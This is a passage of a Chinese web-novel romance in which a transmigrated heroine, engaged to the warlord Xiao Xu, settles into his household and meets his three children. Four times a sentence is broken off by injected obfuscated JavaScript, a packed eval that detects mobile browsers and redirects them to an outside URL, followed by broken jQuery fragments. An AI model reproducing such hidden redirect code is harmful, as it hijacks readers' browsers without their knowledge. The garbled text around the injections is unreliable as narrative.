“来人问了谁与阿姊最亲近,我说了我是阿姊的亲妹,来人就让我收拾了阿姊几件衣裳,把我送来了阿姊身边。”
虞琇抿了抿唇,接着说了自己的猜测:“这儿应该是姐夫的私宅,小两进的宅院,只有门房一家供人使唤。”
说到行装,宓瑶想到了被桓冠斌扔掉的首饰,去梳妆台一看,看到匣子原封不动地放在桌上,顿时松了口气。
原主这个江南第一美人不过是面上光鲜。
虞父身上只有一个闲职,还因为原主生母早逝,虞父早早有了继室,若不是原主相貌出众,就是占了嫡女的出身也不会被虞家看重。
而就是看重,虞家也拿不出多少好东西给她陪嫁,这妆奁中大部分的首饰都还是萧欻送的聘礼。
将四层珠宝一一看过,宓瑶觉着虞琇这丫头也奇怪,说她充满恶意,但她打包行装的时候却几乎把原主所有值钱的东西都装上了。
“阿姊,姐夫不会是气了咱们吧?”
这几天虞琇除了害怕宓瑶与她算账,就是忐忑萧欻的行为,不知道他为何把她们扔到这个地方不管不问,难不成是不打算带宓瑶回蜀地成婚了?
但是宓瑶不提她也不敢开口,趁着现在才敢释放慌乱:“姐夫是不是没见过阿姊的模样?”
若是见过,怎么可能舍得不带回府邸。
“他大概在荆州有事要做。”
萧欻求娶原主之前的基础,是他带兵平了荆州内乱。
荆州是南方几州的粮草中转站,又在蜀地隔壁,她记得书中,萧欻在荆州上废了不少功夫,平乱又挑乱,彻底清除了各大势力后咬下荆州这块肥肉后,沿长江往上拿下了淮南。
萧欻把她扔到这里,大约是想借着她被人掳走这事在荆州生事。
说起来她被桓冠斌带走应该给他制造了一个好机会,从夔州到荆州就是快马加鞭也不可能一天就到。
但他只用了一天就找到了她。
说明他根本就没在夔州等她,而是原本就在荆州境内。
想通了这点,宓瑶就继续躺了。
只是等到了中午用饭,她便有些躺不下去。
风寒未愈时她食不知味,但如今她病好味觉恢复,再吃粗糙的饭食简直就是一种折磨。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584020|171644||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鸭炙放在桌上就有股腥味,肉馅蒸饼是糊的,菘菜汤倒是火候没什么问题,但总不能就让她喝白粥吃白菜吧。
“这菜你吃得下去?”
宓瑶看向虞琇,虞琇虽然不受宠,但一直跟在原主身边,平日也不会惨到吃这些东西。
“饭食是门房的老娘做的,我与那老媪提过,她嘴上应好,但做出来还是这般。我原以为她是真不会烹制肉食,但这几日阿姊你不吃的东西都被她又做了一遍,落进了她一家子的肚子里。”
宓瑶病着,她惶恐不安,就没有与门房一家计较,如今宓瑶提及,她立刻端上菜食物找门房一家。
虞琇气势凶猛地去,片刻空手而回,只是身边多了个老媪。
老媪身穿灰褐色棉袄,衣裳上没有补丁,只是人实在邋遢,头发油腻糟乱,脖领袖口积了黑色污渍,还未走近就有股怪味。
宓瑶嫌人恶心,毫不避讳地捂唇干呕:“不要告诉我,我平日喝的药吃的东西都是她做的?”
“阿姊放心,药都是我亲手煎制,白粥是门房妻子烹煮,只有肉食是这老媪。”
宓瑶顿时庆幸这几日她没吃过肉。
“你这样也敢碰我的饭食,萧郎怎么会留你们一家在这伺候!?”
宓瑶一脸厌恶,见老媪靠近,直接让虞琇开了门,让她在外面回话。
吴媪看到宓瑶真容愣了片刻,宓瑶被连夜送来,镇使只交代她儿子看好宓瑶姐妹二人,不许她们乱跑,却未另外交代其他。
平日虞琇不许她靠近主屋,所以她不知在屋里养病的女娘竟然貌若仙子,而且如此盛气凌人,出身不像寻常娘子。
吴媪原是弯着腰站在屋外,听到宓瑶厉声质问,下意识地跪倒在地。
“娘子不知,我儿原是镇使麾下效力,在战场受伤后,镇使怜我儿可怜,便让我们一家为他看顾门户……”
“我当是萧郎是怜你儿可怜,送了你儿这套宅子,既是看顾门院的家奴,你与我说这些作甚,是觉着我听你儿是郎君属下,会忌惮一二?”
宓瑶嗤笑,病一好,她这几天没有食欲全都涌了上来,打断了吴媪的喋喋不休,“少言废语,我瞧着你就恶心,更吃不下你烹制的饭食,你把郎君留下的金银拿出来,让人带我阿妹去给我买可以下咽的吃食。”
“镇使下令,说要看好你们,不许你们乱跑。”
眼见吴媪挺起胸膛,底气又足了起来,宓瑶哼了声:“我这般的美人自然不能乱跑,不然要你们这些伺候人的奴仆作甚。”
有了宓瑶托底,虞琇也有了依仗,瞪向神色不忿的吴媪:“还不听命行事,是想等我姐夫回来把你们一家都轰出门庭!?”
吴媪嘴中碎念镇使的嘱咐,还有她儿子多被镇使看中,磨蹭念叨片刻,见宓瑶美目高傲挑起,连看都不看她,只能不甘去给虞琇拿了银钱,让儿媳带虞琇去给宓瑶买晌午的吃喝。
吃饱后,宓瑶纠结着是再睡一觉,还是让虞琇去给她找几本闲书打发时间,犹豫着正巧听到院内嘈杂的动静。
穿上鞋袜,推开门扉,宓瑶抬眸便撞见往她这处走的男人。
男人脸上不像那夜戴了皮革遮面,露出了淡色的薄唇,但她还是靠着那双漠然野性的狭长眸子,以及他周身肃杀的气势认出了他。
她上前迎了几步,波光潋滟的杏眸仰视嗔怪瞧着他:“萧郎明知娇花需细养,还这般磋磨我。”
5. 第五章
美目似娇似嗔,湿润的杏眸如同那日雪夜般灵动柔媚,教人心酥。
“你嗅嗅我,我都臭了。”
宓瑶并未抱住了萧欻胳膊撒娇,而是捏住了他的衣摆,轻轻摇动。
那点力道犹如蚂蚁撼树,惹不出萧欻反抗的情绪,只是如同湖水被飞鸟的羽翼若有似无地划过,让她没碰触的皮肉泛起了痒感。
“哪臭了?”
她甫一出现,便有股似麝般浓郁花香袭来,萧欻鼻尖轻嗅,除却甜腻的花香,还在她身上嗅出了一股纯粹的奶香,像是新生的狸奴,软糯诱欺。
也不知她们这些高门大户的女子是如何调制的香膏,能在人身上展现出如此多样的气味。
“萧郎莫说好话哄我,我病了几日哪能不臭。”
方才萧欻一进门,吴媪就迫不及待地一句接一句的告状,他自然明了宓瑶这一出是为什么,被她抓住衣摆的手抽出放在了她的腰间。
有皮袄的隔拒,怀里美人的腰依然细的让人没有实感。
萧欻伸手是打算诱她反抗露出对他出身鄙夷的真面目,谁想到他一搂,她便恍若无骨地靠在了他的怀里,让他情不自禁地用力,让她往他怀里深陷。
等不到宓瑶的反抗,萧欻不愿在院中傻站让人看热闹,迈步把人带进了屋内。
进屋后触到周围的摆设,萧欻唇角掀了掀。
这处私宅他来荆州后偶尔夜宿,他记得屋内除了床具,方桌一些用得着的东西,简陋的没什么值得多瞧的地方。
而宓瑶不过才来四日,还是病中,就让屋子变了个样。
也不知道她的阿妹是如何收拾的行装,能弄出那么多遮丑的锦绣帐幔,还在床榻边上添了张搁有紫玉镶珠铜镜的梳妆台面。
睡过的屋里充满女儿家的精细,处处都有暗香浮动,让他这会终于有了得了个美人的实感。
“是闷了还是吃的不如意?”
既是自个的美人,萧欻多了几分耐心,回想吴媪的抱怨,开口询问。
萧欻在打量屋内,宓瑶则是在打量他。
那夜他端坐在乌马之上,在冷色飘摇的雪粒之中,宛如煞神降临。
如今没有了那样的情境,萧欻脱去了黑貂裘,身着深青银纹团花锦袍,瞧着也没多几分心慈面软。
淡色锋利的长眸下面是高挺若悬胆的鼻梁,再下是唇形如剑痕的薄唇,冷硬的轮廓线条让他的脸英俊的极有攻击性。
加上上八尺的身量,以及压迫力十足的宽肩,更是有种旁人望之却步的强势。
不过长得再不近人情,也是个当着所有人面坦荡直言要娶美人的男人。
所以不必辨析书中他求娶原主的原因为何,女子貌美这一样至少在他的条件之内。
“我本就是放与高阁欣赏的娇花,哪有什么闷与不闷,在家时,我十天半月也不一定出门一趟。”
“所以是吃的不如意。”
“萧郎方才应该已经见过吴媪,郎君觉着她烹制的养料,能娇养出什么名珍?”
萧欻回想吴媪,盖因平日见到的老媪都大多是邋遢模样,不觉着有什么不对,但想那般的人与站在宓瑶面前的对比,就明白了宓瑶的嫌弃。
娇花娇养。
哪怕实际上让名珍绽放的是牛粪,也要在表面铺一层稀有木屑,说是仙露神水给它的养分。
“你在这再待一日,明日我派人送你回益州,到了我的府邸,你可以随意挑选你喜欢的厨子。”
“不知郎君是送我一人走,还是将我的从仆一起送走?”
宓瑶问完,伸出了自个的手指,“郎君你看,我这手没有香膏滋养已经有了细纹,还有我这眼睛,没有调制的药水熏蒸已经不灵动了,还有我这脸,这发……”
宓瑶手指掩唇,轻抽了两下,“一场风寒,我恍若老了五岁,再无丫鬟随侍在身边伺候,我怕我再过几日就凋谢如吴媪模样。”
吴媪的脸在脑海浮现,萧欻眉角抽动。
虽觉得她与几天前没什么区别,但他听懂了她的娇气。
她若是一见他就问她情夫死活,闹天闹地,他置之不理便可,但她这般软在他怀里,水眸定定看着他,哪怕她是做戏,她只要做的好,他也无法对她的要求视而不见。
说来他真该重罚去查探虞家的斥候,文札上面分明写虞女秉性高傲,自持姓氏血统的架子,与她那没出息的情夫一般,每日除却写几首酸诗,就是嘲讽如今崛起的寒门门户。
让她嫁给他这般的草莽,比杀了她还让她难受。
而如今她这个样子像是难受吗?
往常他不是没听过柔若无骨,温香软玉,他以为他猜透了这两个词,而上次雪夜抱她上马,与现在她如水般躺在他怀里,他才彻底通晓词意。
一入他的怀,虞女全身就像是被抽干净了骨头,连站都不会站了。
“虞家的仆人还要在驿舍待几日,我一会让人先送一个丫头与厨子过来,几日后,我再派人送她们与你一同离开。”
“郎君那么说我就放心了。”
低眸见宓瑶满足巧笑,萧欻实在无法把吴媪说的傲慢无礼与她联系到一起。
“你不问我要用她们做什么?”
“郎君只有郎君的安排,我问这些与我无关的事作甚?”
宓瑶手搭上了萧欻脖颈,对上了他的眼眸,“郎君所求的是美貌如花的美人,而我所求的则是安稳滋润的土地由我扎根绽放,有人照拂伺候,不必吃任何苦头,我与郎君简直天生一对。”
软糯的嗓音渐细,宓瑶原本只是打算与萧欻坦诚,让他知晓她一定能做好一个花瓶娇妻。
但目光触到他滑动的喉结,以及紧绷的下颌,就有了需要多做些什么来证明她的娇媚的压力。
不过不等她的唇印上他的脖颈,萧欻先一步松开她站起。
“若没其他事,我先去隔壁休息,我不在时,你有事可嘱咐从仆。”
说完不等宓瑶答话,便大步推门离开。
*
“镇使怎么那么快就出来了?”
吴媪带着儿媳收拾休息的房屋,赵德在外头等着,没想到屋子还没整理好,就见萧欻从虞女的房屋匆匆而出。
虽然晓得上司是个雏儿,但这速度未免也太快了点。
对上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584021|171644||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
赵德怪异的目光,萧欻不问也知道他在乱想什么。
“滚。”
听出萧欻语调中的寒气,赵德缩了缩脖子,只是等到房屋清出来,他还是忍不住挤进萧欻屋内。
赵德是萧欻养父赵天赫赐了姓的家奴,萧欻刚入军营后救过他,后头萧欻被赵天赫看中,赵德就一直跟随他左右,相比于其他下属,赵德与萧欻的情谊要深厚许多,有些话自然可以多问两句。
“难不成是虞女不愿?刚刚她在屋外的作态,难不成只是为了她那情夫?”
方才宓瑶在院内对萧欻娇嗔,并未避着任何人。
那媚态若是有男子能拒绝,那男人不是太监,便是下凡的佛子,天生没有色欲。
“她没提那书生。”
“那就对了,一个无权无势,只能让她深夜做牛车受冻的穷酸书生,一个是威岸英武前途无限的大将军,虞女有眼就该知道选谁。”
赵德说完,想到既然不是虞女做戏,那问题就出在了萧欻身上。
想着不由往下萧欻身下瞅了一眼,都是二十啷当岁的男子,萧欻从未跟他们去秦楼楚馆,他不是没怀疑过萧欻那里有问题。
为此他还特意在萧欻下河洗澡时偷瞄过几眼。
驴大的玩意差点没把他看傻。
若是他这样的都不行,那普天下就没男人行了。
“难不成镇使你不喜欢女人?”
萧欻眸光似寒刃,赵德觉得自个差点被千刀万剐,“那美人在怀,为何……”
“我还未与她成婚。”
“哈?”
赵德怎么也没想到,这便是萧欻的理由,他着实不懂,那些自视血脉贵重的门阀子弟瞅见个女人,都能想睡就睡,他家大人算起来只能算是枭雄,反倒讲究那么多规矩。
“我又不是见到女人就走不动道的饿狼,若是成了亲自会睡她,既然没成亲为何要提前?”
萧欻神色淡漠,不觉自己的行为有何不妥,反而是属下满脑子女色,还需要训练一二,免得哪日他栽在女人身上耽误大事。
交代了答应给宓瑶找的丫鬟,厨子,萧欻休息前,启唇道:“派人潜入虞家重查一遍虞女,看虞家是否找了几个与虞家嫡女相似的女人到处周全。”
“镇使怀疑这个不是真正的虞家女?”
赵德想了想之前调查出来的内容,但从她对她情夫态度看来,这个的确不像。
“像也不像。”
秉性不似,但那张脸却当得起江南第一美人。
不过他当初求娶,没有选择其他美人,而是挑了虞宓瑶,不止因为她身上的噱头,更因为与她感情深厚的嫡亲哥哥在朝廷为官,任度支司郎中。
蜀地缺内政人才,军师给他列的名单,第一个便是虞少阳。
虞女觉着他娶她只为要一个只漂亮花瓶,他却比她想的要贪心,除却摆着赏心悦目的器物,他还要从她身上挖到能滋润蜀地的肥料。
若是她只能给前者,她便是只能放着落灰的花瓶,他并无耐心管她是否手指生纹,眼不灵动。
哪怕她媚色动人,在他眼中还不如邋遢的吴媪有用。
6. 第六章
萧欻说到做到,晚膳前就让人把霜华和厨子带到了小宅,让宓瑶吃了这几天以来最可口的一餐饭菜,还让她能流程完整地护肤熏眼,干干净净地净了次面。
“阿姊可知那吴媪见了姐夫对阿姊的看重,方才烧水洗掉了几层泥,我听她儿媳感叹,说她大半年没进过水,如今为了讨好贵人,连命都不要了,这时节都敢泡在水里搓灰。”
“那老媪不一定是为了讨好娘子,说不定是装模作样给萧镇使看。”
霜华听说了吴媪的难缠,现在听她洗澡,觉着她可能真有些怕宓瑶,但更多的应该是借此在萧欻面前博怜悯,显示宓瑶霸道。
听到霜华猜测,宓瑶不惊讶她猜测的内容,而是讶异她会把猜测说出来。
她穿书成为原主之后,很少与原主的婢女说话。
倒不是怕她们发现她与原主的不同,而是懒得与她们有太多牵扯。
人只有彼此不交流时,才能心安理得地把对方当做NPC,若是牵扯太多,了解对方的所思所想,就没办法把人当做书上的文字设定。
所以她一直没把身边这些人当做有血有肉的活人。
她平日不怎么与霜华她们说话,她们也乖觉地安静听话做事。
这会儿霜华估计是跟虞琇一样,被她的消失又出现吓到,想要跟她产生更紧密的联系,话也变多了起来。
对此,宓瑶说不出是高兴还是麻烦,她像是打量虞琇一般,打量了霜华熟悉又陌生的脸,开口道:“无所谓她如何想,我们不过在这里住几日,一个奴仆不值得费心,我不必受的气你们也不必受。”
“奴婢知晓了。”
霜华听懂宓瑶的意思,收拾好了屋内的用具,就去找吴媪索要这几日她们居住这里的所需所用。
吴媪见她强势,知道她是婢女也不敢啰嗦,毕恭毕敬地安排好了一切。
“你有话说?”
霜华过来给宓瑶带了几本她常看的闲书,宓瑶本打算早早上床看书,见虞琇立在一旁,欲言又止的模样,瞟了她一眼。
“琇儿之前做错了,以后琇儿再也不会自作主张,阿姊你原谅琇儿这次,琇儿以后一定尽心侍奉阿姊与姐夫。”
“侍奉我就够了。”
宓瑶发现自个忍性还是不成,为了不再看到虞琇顶着她那张稚嫩的脸不停提及跟萧欻睡觉,她直接道,“媵妾的作用是用来固宠,你觉着我都留不住的宠爱你能固住什么?”
“阿姊……”
“你若是选择了攀萧欻的高枝,最好祈祷一次必中,因为我不会允许背叛的人再回我身边。”
听到宓瑶的警告,虞琇抖了抖,头往下埋,不敢看她的眼睛。
阿姊果真知晓她的那些小心思。
“若是你以前觉着我靠不住,今日你也见着了我在萧欻面前的模样,我是惜命的,远的不说,让你依靠几年还是没有困难。”
所以你就老实几年,没成年前别动不动就说什么伺候姐夫。
宓瑶心中腹诽。
她是真不想多管闲事,但实在是怕了虞琇。
“阿姊,琇儿错了。”
虞琇跪坐在地上啜泣,“琇儿不是不信阿姊……”
宓瑶也不在意她是真不信还是假不信,摆了摆手,“我病好了,你不必时时刻刻守着我,今夜你去跟霜华同睡。”
虞琇走后,宓瑶拿起话本,发现自己静不下来,眼睛看着闲书脑子却不停在想今日与萧欻说的几句话。
觉着这般不行,她干脆灭了屋中的烛火,扔了书闭眼睡觉。
娇妻的脑子可以用来进水,可以用来插花,唯独不能用来思考。
*
宓瑶睡下后没多久,萧欻却是休整好了,起床随意吃了点东西。
做饭的是宓瑶的厨子,食物入口,他就懂了为何宓瑶一定要厨子伺候,就是一碗简单的肉面,她的厨子来做也比面馆中做的美味,跟吴媪相比更是天差地别。
听到吴媪问要不要把宓瑶叫起来迎送。
萧欻淡声:“都睡了还叫起来作甚。”
惹她不乐意,他又要听她说他不懂惜花,故意折腾她。
谁想到那话本来是用来讥讽她不要命发蠢,她能利用的那么透彻,想跟他争取什么,就拿娇养名珍说事。
“听她吩咐即可,我与她还未成婚,但她迟早是你们的主子。”
扫了眼吴媪整齐不少的模样,他原本觉得老媪邋遢也不碍事,但能看到干净的仆人,谁会想要有个臭烘烘的东西立在跟前对自个谄笑。
简单交代了一句,萧欻踩镫上马,刚驱马出院,就听赵德笑道:“属下睡醒后听见虞女与她妹妹说话,镇使猜我听到了什么?”
萧欻瞥了一眼赵德:“你睡觉的地方离虞女隔了一进,难不成梦游到了她屋顶,不然如何睡醒之后听到她说话。”
赵德嘿嘿:“镇使说这个虞女可能不是真正的虞家女,我这不是想趁机多打探些消息。”
说完赵德也不继续卖关子,“虞女性子十分霸道,她训斥她的庶妹让她不要妄想大人,还说以她的美貌,她的庶妹就是当了大人的媵妾,也得不到大人的青眼,把小丫头给骂哭了。”
赵德若是说旁人,萧欻会不知道是谁,但说宓瑶的妹妹,他脑海里浮现方才他睡前,跑到他面前嘘寒问暖的瘦小丫头。
“虞女说的没错。”
那小丫头的确不该妄想他。
什么媵妾他根本没放在心上,对他来说不过是宓瑶多带了一个伺候的婢女,而不是多了个他必须要睡的女人。
“那小丫头是还小没张开,她是虞女的妹妹,长大后定然体态风流,不输其姐……”
“赵德,二十棍。”
萧欻冷声打断,赵德顿时收起了嬉皮笑脸,下马单膝着地,低头认罚。
“错在哪?”
“属下嘴巴不干净,拿未及笄的女童调戏说笑。”
赵德没对虞琇动什么男女心思,但萧欻发怒,他立刻明白自己嘴欠,忘了剑南军的规矩。
家主赵天赫治军严明,在军中定下各种规矩,其中一条便是不得淫辱妇女。
这一条又细分了许多小条,剑南军是大兴军营中唯一没有军妓的军营,除此之外,节度使不管他们在军营外找何乐子,但不管军阶何级,只要是他治下兵将便不可对幼女幼童下手。
这些军令到了萧欻手上,他行使起来更为严苛,曾经有兵强迫还未及笄的女子,就被他下令军棍杖责,直到毙命。
记了二十军棍,接下来的行程赵德安静许多。
而周围安静,萧欻得空的脑子想起了宓瑶。
见过宓瑶的每个人在他跟前叙述的宓瑶都跟他见到的不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584022|171644||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
同。
探子说她清高孤傲,钟情于寄住在虞家的书生表哥,吴媪说她盛气凌人,冷酷苛求,赵德则说她霸道好妒,不愿未来夫君身边除她之外还有旁人。
而他眼中的宓瑶,娇媚柔美,有些骄纵的脾气,但用她软糯的嗓音说出来,不过是狸奴撒娇,算不得傲慢。
这般看来再派探子探查宓瑶底细完全是多此一举,她本人与传言两样,只是因为她擅长做戏掩饰,让每个人对她都有不同看法。
*
一面之后,之后几天宓瑶都没再见过萧欻,等到五日后,应该是萧欻事情办妥。
他派人把她从虞家带来的仆人统统送到了小院,准备好了马车送她前往益州。
送人的是跟宓瑶有过一面之缘的赵德。
领了送人的活,赵德见着宓瑶本以为她会有许多话问他。
比如萧欻怎么不来送人,送人的为什么是他,谁知道宓瑶什么都不问。
不问是好,但送宓瑶这路依然费事。
原本荆州到益州原本快马十天的路程,宓瑶一会受不了颠簸要重装马车,一会要停下休息去酒楼品尝特色饭食,一条路生生走了二十五天。
赵德开始还想宓瑶安排了其他的出逃计划,所以故意在路上拖时间,防备许久后,他才发现宓瑶单纯是贪图享乐吃不得一点苦。
用萧欻早就定好行程天数,必须半个月内到达益州也吓不到她。
她张嘴就是萧郎舍不得她受罪吃苦,不会强迫她像是货物般随意运送,只求速度不管她愉悦与否。
他跟了萧欻几年,都不晓得自己上峰如此怜香惜玉,倒是没见过萧欻几次面的宓瑶,成了萧欻肚子里的蛔虫。
“反正这趟差事比让我去翼州守边还累,镇使往后有的受了。”
把宓瑶送进萧府,赵德啧啧有声地跟相熟的同僚感叹。
而此时宓瑶到府先是睡了一觉,睡醒后看着站在她门口的三个萝卜头,眉心蹙了蹙:“你们在这做什么?”
“我们来给母亲请安。”
最高的大萝卜上前半步,带着剩下两个小萝卜,整整齐齐地给宓瑶行礼。
不过只有两人张嘴喊了母亲安好。
宓瑶目光移向其中个头最小,一直盯着她看没有张嘴的丫头萝卜。
她选择与小萝卜对视明显是个错误的选择。
因为小萝卜发现她看她,圆润的眼眸闪闪发亮,张嘴露出了几颗米粒大的白牙,往前跑了几步一把抱住了她的腿。
“善儿!”
大萝卜和中萝卜怕宓瑶生气,想把小萝卜拉回去,但小萝卜不愿意,不止抱着宓瑶不放,两个胳膊还挣扎着往上攀登,明显是要宓瑶抱她。
“请母亲不要怪罪妹妹,她年岁小不懂事,现在还不会说话,也不晓得规矩。”
大萝卜拉不动小萝卜,见她整张脸皱起,怕她哭起来更惹宓瑶不喜,绷着脸朝宓瑶解释道。
“善儿,你再这样就不给你饭吃!”
相比与大萝卜,中萝卜直接选择了威胁,而他这声威胁明显捅了小萝卜的心窝子。
小萝卜依然没松手,却“哇”地一声哭了出来。
宓瑶:“……”
一定是她刚刚没睡好,所以才一醒来就产生了幻觉,看到三个萝卜张嘴说话,在她面前热热闹闹地开萝卜大会。
7. 第七章
耳中充斥着小萝卜的哭声,见中萝卜管不住妹妹,瘪着嘴巴也像是要哭,宓瑶吓得想跑。
“别哭了。”
她蹲下对上小萝卜满是泪痕的脏脸,“我欺负你了吗?”
近距离瞧见宓瑶,小萝卜的抽泣顿了顿,泪眼朦胧地看着她,片刻摇了摇头。
“既然我没欺负你就不该哭,听话的乖孩子从来不会无缘无故哭哭啼啼。”
她这话小萝卜似乎听懂了,抿着嘴巴不再闹腾,但她一站起,小萝卜又开始抽泣起来。
一声接一声的呜咽,比刚刚直接哇哇大哭更像被欺负狠了。
宓瑶:“……”
拿过了霜华的帕子,宓瑶再次蹲下,她本来是想递给小萝卜,让她自个擦眼泪,谁想到小萝卜不接,只是仰起头等着人给她擦。
见她一副乖乖等待的模样,宓瑶虽然不愿,还是亲手擦拭掉了她脸上的泪珠。
而眼泪擦完,小萝卜就迅速地抱住了宓瑶的胳膊,脸蛋紧紧挨着宓瑶的衣裳怕她站起跑了。
“这小娘子。”
虞琇皱眉想把小萝卜抱走,但她还没碰到人,才做出姿势小萝卜就扬起头,眼巴巴地瞧着宓瑶,红肿的眼睛溢满眼泪。
避免自己刚擦过的脸蛋又脏污一片,宓瑶任由小萝卜黏在了她的身上:“叫什么?”
“母亲,三妹还不会说话,她叫萧善,良善的善,二弟叫萧良,我叫萧翼,鸟翼的翼。”
大萝卜年纪最大,性子看起来也是兄妹中最为沉稳可靠,明明心急妹妹的举动会惹宓瑶不喜,但面上却极力镇定。
她记得萧欻这几个孩子年岁分别是七岁,五岁,三岁。
三岁还不会说话?
对上圆脸小萝卜湿润滚圆的眼珠子,宓瑶眨了眨眼:“吃点心吗?”
小萝卜听得懂吃,张嘴露出小白牙点了点头。
*
萧欻作为男频寡王男主,身上多少带了点天煞孤星的设定。
父亲与亲哥都早早死在了战场上,萧大嫂得知丈夫死讯后难产而亡,一年后萧母也因为疾病去世。
萧欻的三个孩子,大儿子是驻守边境时捡的,剩下两个则是他大哥的血脉记在他的名下。
在书里面萧欻到了四十岁也没有再娶妻生子,身边只有一个跟他没有血脉干系的养子。
现在她就希望萧欻的寡是剧情设定,而不是什么天命不可违,哪怕她不像是原主一样作死针对他的孩子,男主也注定亲缘淡薄,让她这个娇妻逃不过必死的命运。
“谢谢母亲。”
看到桌上的点心,萧翼没有动手拿取,见萧善迅速拿了一个往嘴里塞,唇瓣紧了紧,代妹妹朝宓瑶道谢。
相比最小的萧善,萧良就是哥哥的跟屁虫。
看到摆满的糕点萧良咽了咽口水,就强忍着移开视线,学着大哥端端正正坐着小凳上,不去看桌上漂亮的小食。
宓瑶没管他们是不是忍着食欲不动手,只是提醒了一句,“还未举行婚礼,我算不得是你们的母亲。”
虽然这桩婚事基本上没得跑了,但她还是希望能晚几天再当妈。
“是我莽撞,冒犯了夫人。”
萧翼立刻下了凳子弯腰低头认错,而萧良有样学样,站在哥哥旁边低头:“我……撞,冒了夫人。”
萧良听不懂哥哥说话的意思,自然也模仿不对,只能含含糊糊地跟着学。
听到旁侧虞琇的笑声,他头低的更厉害,知道自个一定做得不对才惹人发笑。
“二弟还小没有读书晓事,不晓得规矩,夫人不要怪罪。”
“在虞府五岁都开蒙知事了,怎么还不晓得规矩。”
虞琇听到萧翼为萧良解释,哼了声,“莽莽撞撞冒犯阿姊,也是我阿姊心善才不罚你们,还赏你们吃糕点。”
宓瑶的思绪还停留在既然没成婚,也不该叫夫人上,转眼就听到虞琇火气十足地开训萝卜头。
见萧良头都要低到了地上,宓瑶蹙眉:“好了,在自己家需要知晓什么规矩,本来就不该罚的事情跟我心善有何关系。”
扫了眼瞪着几个萝卜头的虞琇,宓瑶倒是明白了书里面虞琇为什么能配合原主折磨这几个孩子。
明显虞琇不喜欢小孩,并且到了厌恶的地步。
在知道这几个萝卜头是萧欻子女的情况下,依然有机会就对他们释放恶意。
“你若闲着无事,就去收拾东西。”
怕虞琇行差踏错连累了她,宓瑶话语偏向明显,虞琇一听就知道自个做错了让宓瑶不满。
“阿姊……”
虞琇以为宓瑶也讨厌这个几个不懂规矩的孩子,没想到宓瑶却站在他们一边,委屈涌入眼中,“我说错了话,大郎二郎莫要怪罪我。”
刚刚还咄咄逼人的小娘子,这会乖如白兔,还跟他们几个稚儿道歉。
听到虞琇称呼宓瑶为阿姊,萧翼一时不知道怎么接话,先摇了摇头后,才开口:“是二弟的错,姨母不必在意。”
说完,想起宓瑶刚刚说她现在还不是他们的母亲,怕“姨母”这称呼惹她不喜,眉心又皱了起来。
相比两个哥哥,萧善在屋里如鱼似水,抱着宓瑶胳膊心无旁骛地吃了四个酥饼,吃噎着想喝水了,摇了摇宓瑶的胳膊,仰起沾了芝麻的圆脸,让她给她拿水。
怕弄脏宓瑶的衣裳,霜华拿帕子擦掉了萧善脸上的食物碎屑。
“慢点吃。”
宓瑶本来不想搭理小萝卜,打算等她抱够了她胳膊就跟这三个萝卜头关门再见。
但有水辅助后,萧善吃得更加欢乐,没一会就把面前的一碟点心吃完,伸着小短手开始进攻另一个碟子。
宓瑶怕她在她这里撑坏了肚子,提醒过后,让霜华把点心收走只给萧善留了两个。
“你们不吃我就让人收了,到时候点心放在你们那里,你们妹妹想吃就给她,让乳母看着量别把肚子吃坏。”
怕收了点心萧善闹,宓瑶特意嘱咐了一声。
也不知道萧善听懂了这些东西都是她的,还是脾气好不护食,看到剩下的点心被收走没哭没闹,安静把面前拇指大的玫瑰酥吃完便摊开了圆短的小手。
宓瑶还以为她是在问她继续要吃的,见霜华拿湿帕子给
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584023|171644||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
萧善擦手,而萧善也乖乖让她擦拭,才晓得萝卜手摊开是要擦手。
“小妹打扰了夫人太久,我这就把她抱走。”
见妹妹吃饱了,想着她现在应该不会再闹,萧翼试图把妹妹抱开,但他一动,萧善就双手紧紧地抱着宓瑶。
仰着脸对宓瑶啊啊呜呜,明显是在对她撒娇,不想要哥哥走。
